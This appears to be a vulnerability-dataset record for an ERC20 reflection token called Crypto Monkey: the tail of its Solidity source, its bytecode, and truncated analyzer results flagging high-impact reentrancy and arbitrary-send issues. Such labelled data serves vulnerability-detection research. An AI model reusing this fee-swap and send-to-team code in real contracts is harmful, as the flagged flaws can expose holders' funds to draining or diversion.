uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() {
require(cooldownSecs > 0, "Secs must be greater than 0");
_cooldownSeconds = cooldownSecs;
}
} | 0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063d543dbeb146103c0578063dd62ed3e146103e9578063ed99530714610426578063f42938901461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c57806351bc3c85146102475780635932ead11461025e5780636b999053146102875761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612b8d565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e9190613051565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612b51565b6105e1565b6040516101ab9190613036565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d69190613213565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612b02565b610610565b6040516102139190613036565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e9190613288565b60405180910390f35b34801561025357600080fd5b5061025c6106f2565b005b34801561026a57600080fd5b5061028560048036038101906102809190612bce565b61076c565b005b34801561029357600080fd5b506102ae60048036038101906102a99190612a74565b61081e565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612a74565b61090e565b6040516102e49190613213565b60405180910390f35b3480156102f957600080fd5b5061030261095f565b005b34801561031057600080fd5b5061032b60048036038101906103269190612c20565b610ab2565b005b34801561033957600080fd5b50610342610b94565b60405161034f9190612f68565b60405180910390f35b34801561036457600080fd5b5061036d610bbd565b60405161037a9190613051565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612b51565b610bfa565b6040516103b79190613036565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190612c20565b610c18565b005b3480156103f557600080fd5b50610410600480360381019061040b9190612ac6565b610d61565b60405161041d9190613213565b60405180910390f35b34801561043257600080fd5b5061043b610de8565b005b34801561044957600080fd5b5061045261135b565b005b61045c6113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e090613153565b60405180910390fd5b60005b81518110156105a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061059890613529565b9150506104ec565b5050565b60606040518060400160405280600d81526020017f43727970746f204d6f6e6b657900000000000000000000000000000000000000815250905090565b60006105f56105ee6113cd565b84846113d5565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d8484846115a0565b6106de846106296113cd565b6106d98560405180606001604052806028815260200161397560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f6113cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d839092919063ffffffff16565b6113d5565b600190509392505050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107336113cd565b73ffffffffffffffffffffffffffffffffffffffff161461075357600080fd5b600061075e3061090e565b905061076981611de7565b50565b6107746113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f890613153565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6108266113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108aa90613153565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610958600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e1565b9050919050565b6109676113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb90613153565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aba6113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e90613153565b60405180910390fd5b60008111610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b81906130f3565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f434d6f6e6b657920f09f90b50000000000000000000000000000000000000000815250905090565b6000610c0e610c076113cd565b84846115a0565b6001905092915050565b610c206113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca490613153565b60405180910390fd5b60008111610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613113565b60405180910390fd5b610d1f6064610d1183683635c9adc5dea0000061214f90919063ffffffff16565b6121ca90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610d569190613213565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610df06113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7490613153565b60405180910390fd5b600f60149054906101000a900460ff1615610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec4906131d3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f5d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113d5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa357600080fd5b505afa158015610fb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdb9190612a9d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561103d57600080fd5b505afa158015611051573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110759190612a9d565b6040518363ffffffff1660e01b8152600401611092929190612f83565b602060405180830381600087803b1580156110ac57600080fd5b505af11580156110c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e49190612a9d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116d3061090e565b600080611178610b94565b426040518863ffffffff1660e01b815260040161119a96959493929190612fd5565b6060604051808303818588803b1580156111b357600080fd5b505af11580156111c7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111ec9190612c49565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600881905550600a600981905550674563918244f400006010819055506001600f60146101000a81548160ff02191690831515021790555042601281905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611305929190612fac565b602060405180830381600087803b15801561131f57600080fd5b505af1158015611333573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113579190612bf7565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661139c6113cd565b73ffffffffffffffffffffffffffffffffffffffff16146113bc57600080fd5b60004790506113ca81612214565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c906131b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ac906130b3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115939190613213565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611610576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160790613193565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611680576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167790613073565b60405180910390fd5b600081116116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90613173565b60405180910390fd5b6116cb610b94565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117395750611709610b94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cc057600f60179054906101000a900460ff161561196c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117bb57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118155750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561186f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561196b57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118b56113cd565b73ffffffffffffffffffffffffffffffffffffffff16148061192b5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119136113cd565b73ffffffffffffffffffffffffffffffffffffffff16145b61196a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611961906131f3565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a105750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1957600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ac45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b1a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b325750600f60179054906101000a900460ff165b15611c065760b4601254611b469190613349565b421015611c055742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b9857600080fd5b601054811115611ba757600080fd5b6001601154611bb691906133d0565b42611bc19190613349565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000611c113061090e565b9050600f60159054906101000a900460ff16158015611c7e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c965750600f60169054906101000a900460ff165b15611cbe57611ca481611de7565b60004790506000811115611cbc57611cbb47612214565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d675750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d7157600090505b611d7d8484848461230f565b50505050565b6000838311158290611dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc29190613051565b60405180910390fd5b5060008385611dda919061342a565b9050809150509392505050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e45577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e735781602001602082028036833780820191505090505b5090503081600081518110611eb1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5357600080fd5b505afa158015611f67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f8b9190612a9d565b81600181518110611fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113d5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209095949392919061322e565b600060405180830381600087803b1580156120aa57600080fd5b505af11580156120be573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000600654821115612128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211f90613093565b60405180910390fd5b600061213261233c565b905061214781846121ca90919063ffffffff16565b915050919050565b60008083141561216257600090506121c4565b6000828461217091906133d0565b905082848261217f919061339f565b146121bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b690613133565b60405180910390fd5b809150505b92915050565b600061220c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612367565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122646002846121ca90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561228f573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e06002846121ca90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561230b573d6000803e3d6000fd5b5050565b8061231d5761231c6123ca565b5b6123288484846123fb565b80612336576123356125c6565b5b50505050565b60008060006123496125d8565b9150915061236081836121ca90919063ffffffff16565b9250505090565b600080831182906123ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a59190613051565b60405180910390fd5b50600083856123bd919061339f565b9050809150509392505050565b60006008541480156123de57506000600954145b156123e8576123f9565b600060088190555060006009819055505b565b60008060008060008061240d8761263a565b95509550955095509550955061246b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061254c8161274a565b6125568483612807565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125b39190613213565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061260e683635c9adc5dea000006006546121ca90919063ffffffff16565b82101561262d57600654683635c9adc5dea00000935093505050612636565b81819350935050505b9091565b60008060008060008060008060006126578a600854600954612841565b925092509250600061266761233c565b9050600080600061267a8e8787876128d7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d83565b905092915050565b60008082846126fb9190613349565b905083811015612740576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612737906130d3565b60405180910390fd5b8091505092915050565b600061275461233c565b9050600061276b828461214f90919063ffffffff16565b90506127bf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61281c826006546126a290919063ffffffff16565b600681905550612837816007546126ec90919063ffffffff16565b6007819055505050565b60008060008061286d606461285f888a61214f90919063ffffffff16565b6121ca90919063ffffffff16565b905060006128976064612889888b61214f90919063ffffffff16565b6121ca90919063ffffffff16565b905060006128c0826128b2858c6126a290919063ffffffff16565b6126a290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128f0858961214f90919063ffffffff16565b90506000612907868961214f90919063ffffffff16565b9050600061291e878961214f90919063ffffffff16565b905060006129478261293985876126a290919063ffffffff16565b6126a290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061297361296e846132c8565b6132a3565b9050808382526020820190508285602086028201111561299257600080fd5b60005b858110156129c257816129a888826129cc565b845260208401935060208301925050600181019050612995565b5050509392505050565b6000813590506129db8161392f565b92915050565b6000815190506129f08161392f565b92915050565b600082601f830112612a0757600080fd5b8135612a17848260208601612960565b91505092915050565b600081359050612a2f81613946565b92915050565b600081519050612a4481613946565b92915050565b600081359050612a598161395d565b92915050565b600081519050612a6e8161395d565b92915050565b600060208284031215612a8657600080fd5b6000612a94848285016129cc565b91505092915050565b600060208284031215612aaf57600080fd5b6000612abd848285016129e1565b91505092915050565b60008060408385031215612ad957600080fd5b6000612ae7858286016129cc565b9250506020612af8858286016129cc565b9150509250929050565b600080600060608486031215612b1757600080fd5b6000612b25868287016129cc565b9350506020612b36868287016129cc565b9250506040612b4786828701612a4a565b9150509250925092565b60008060408385031215612b6457600080fd5b6000612b72858286016129cc565b9250506020612b8385828601612a4a565b9150509250929050565b600060208284031215612b9f57600080fd5b600082013567ffffffffffffffff811115612bb957600080fd5b612bc5848285016129f6565b91505092915050565b600060208284031215612be057600080fd5b6000612bee84828501612a20565b91505092915050565b600060208284031215612c0957600080fd5b6000612c1784828501612a35565b91505092915050565b600060208284031215612c3257600080fd5b6000612c4084828501612a4a565b91505092915050565b600080600060608486031215612c5e57600080fd5b6000612c6c86828701612a5f565b9350506020612c7d86828701612a5f565b9250506040612c8e86828701612a5f565b9150509250925092565b6000612ca48383612cb0565b60208301905092915050565b612cb98161345e565b82525050565b612cc88161345e565b82525050565b6000612cd982613304565b612ce38185613327565b9350612cee836132f4565b8060005b83811015612d1f578151612d068882612c98565b9750612d118361331a565b925050600181019050612cf2565b5085935050505092915050565b612d3581613470565b82525050565b612d44816134b3565b82525050565b6000612d558261330f565b612d5f8185613338565b9350612d6f8185602086016134c5565b612d78816135ff565b840191505092915050565b6000612d90602383613338565b9150612d9b82613610565b604082019050919050565b6000612db3602a83613338565b9150612dbe8261365f565b604082019050919050565b6000612dd6602283613338565b9150612de1826136ae565b604082019050919050565b6000612df9601b83613338565b9150612e04826136fd565b602082019050919050565b6000612e1c601b83613338565b9150612e2782613726565b602082019050919050565b6000612e3f601d83613338565b9150612e4a8261374f565b602082019050919050565b6000612e62602183613338565b9150612e6d82613778565b604082019050919050565b6000612e85602083613338565b9150612e90826137c7565b602082019050919050565b6000612ea8602983613338565b9150612eb3826137f0565b604082019050919050565b6000612ecb602583613338565b9150612ed68261383f565b604082019050919050565b6000612eee602483613338565b9150612ef98261388e565b604082019050919050565b6000612f11601a83613338565b9150612f1c826138dd565b602082019050919050565b6000612f34601183613338565b9150612f3f82613906565b602082019050919050565b612f538161349c565b82525050565b612f62816134a6565b82525050565b6000602082019050612f7d6000830184612cbf565b92915050565b6000604082019050612f986000830185612cbf565b612fa56020830184612cbf565b9392505050565b6000604082019050612fc16000830185612cbf565b612fce6020830184612f4a565b9392505050565b600060c082019050612fea6000830189612cbf565b612ff76020830188612f4a565b6130046040830187612d3b565b6130116060830186612d3b565b61301e6080830185612cbf565b61302b60a0830184612f4a565b979650505050505050565b600060208201905061304b6000830184612d2c565b92915050565b6000602082019050818103600083015261306b8184612d4a565b905092915050565b6000602082019050818103600083015261308c81612d83565b9050919050565b600060208201905081810360008301526130ac81612da6565b9050919050565b600060208201905081810360008301526130cc81612dc9565b9050919050565b600060208201905081810360008301526130ec81612dec565b9050919050565b6000602082019050818103600083015261310c81612e0f565b9050919050565b6000602082019050818103600083015261312c81612e32565b9050919050565b6000602082019050818103600083015261314c81612e55565b9050919050565b6000602082019050818103600083015261316c81612e78565b9050919050565b6000602082019050818103600083015261318c81612e9b565b9050919050565b600060208201905081810360008301526131ac81612ebe565b9050919050565b600060208201905081810360008301526131cc81612ee1565b9050919050565b600060208201905081810360008301526131ec81612f04565b9050919050565b6000602082019050818103600083015261320c81612f27565b9050919050565b60006020820190506132286000830184612f4a565b92915050565b600060a0820190506132436000830188612f4a565b6132506020830187612d3b565b81810360408301526132628186612cce565b90506132716060830185612cbf565b61327e6080830184612f4a565b9695505050505050565b600060208201905061329d6000830184612f59565b92915050565b60006132ad6132be565b90506132b982826134f8565b919050565b6000604051905090565b600067ffffffffffffffff8211156132e3576132e26135d0565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133548261349c565b915061335f8361349c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561339457613393613572565b5b828201905092915050565b60006133aa8261349c565b91506133b58361349c565b9250826133c5576133c46135a1565b5b828204905092915050565b60006133db8261349c565b91506133e68361349c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561341f5761341e613572565b5b828202905092915050565b60006134358261349c565b91506134408361349c565b92508282101561345357613452613572565b5b828203905092915050565b60006134698261347c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134be8261349c565b9050919050565b60005b838110156134e35780820151818401526020810190506134c8565b838111156134f2576000848401525b50505050565b613501826135ff565b810181811067ffffffffffffffff821117156135205761351f6135d0565b5b80604052505050565b60006135348261349c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561356757613566613572565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139388161345e565b811461394357600080fd5b50565b61394f81613470565b811461395a57600080fd5b50565b6139668161349c565b811461397157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a6d1c79d4871798bc97acfe2f30815ccaa89f651b5f6e9b28f20ad51906bd85464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": 